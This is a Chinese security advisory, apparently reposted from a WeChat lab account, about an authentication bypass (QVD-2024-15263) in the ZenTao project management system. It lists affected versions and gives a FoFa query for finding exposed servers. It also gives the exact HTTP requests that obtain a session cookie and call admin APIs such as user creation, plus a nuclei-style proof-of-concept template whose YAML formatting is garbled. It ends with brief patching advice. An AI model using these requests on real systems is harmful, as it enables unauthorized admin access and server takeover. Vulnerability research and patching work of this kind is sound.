产品概述
禅道(ZenTao)是一款国产的,基于LGPL协议和敏捷方法scrum,开源免费的项目管理软件。禅道内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期的全面覆盖。
漏洞描述
禅道项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,完整覆盖了研发项目管理的核心流程。
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,并以管理员用户登录该系统,配合其他漏洞进一步利用后,可以实现完全接管服务器。
影响版本
16.x <= 禅道项目管理系统< 18.12(开源版)
6.x <= 禅道项目管理系统< 8.12(企业版)
3.x <= 禅道项目管理系统< 4.12(旗舰版)
FoFa语句
app
=
"易软天创-禅道系统"
首先获取cookie
-
获取有效cookie后,可以根据API手册构造请求包,例如,添加用户。回显状态码403则表示添加成功。 -
官方手册地址: https://www.zentao.net/book/api/setting-369.html
GET
/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp
HTTP/1.1
Host
: your-ip
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
sec-ch-ua-platform
: "Windows"
sec-ch-ua
: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
sec-ch-ua-mobile
: ?0
Connection
: close
带cookie访问
GET
/api.php/v1/users
HTTP/1.1
Host
:
User-Agent
: python-requests/2.31.0
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Cookie: zentaosid=u7i38b0judkg2rgjgqcv7lh312
返回包中出现字段:error: no company-browse priv
证明漏洞存在
POC
id
: Zentao_Authentication_Bypass
info
:
name
:
Zentao_Authentication_Bypass
author
:
xiaoming
severity
:
high
description
:
Zen Tao Project Management System Identity Authentication Bypass( QVD-2024-15263)
metadata
:
:
2
:
""
verified
:
true
http
:
raw:
|+
:
30s
GET
/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1
Host
:
{{Hostname}}
:
1
:
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept
:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
:
gzip, deflate
:
zh-CN,zh;q=0.9
:
"Windows"
:
"Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
:
?0
Connection
:
close
|+
:
30s
POST
/api.php/v1/users HTTP/1.1
Cookie
:
zentaosid=06cc7df8420574cf12a403d16cf3f5d9;
Host
:
{{Hostname}}
:
3
:
true
:
and
matchers
:
type: word
part
:
body
words
:
u300eu7528u6237u540du300fu4e0du80fdu4e3au7a7au3002
condition
:
and
漏洞修复
1、在Web应用防火墙中添加接口临时黑名单规则。
2、联系厂商打补丁或升级版本。
参考链接
https:
//mp.weixin.qq.com/s/I3YmlAshgLZCEk9ToDa0Fg
https:
//blog.csdn.net/huangyongkang666/article/details/138253899
原文始发于微信公众号(巢安实验室):QVD-2024-15263禅道项目管理系统身份认证绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论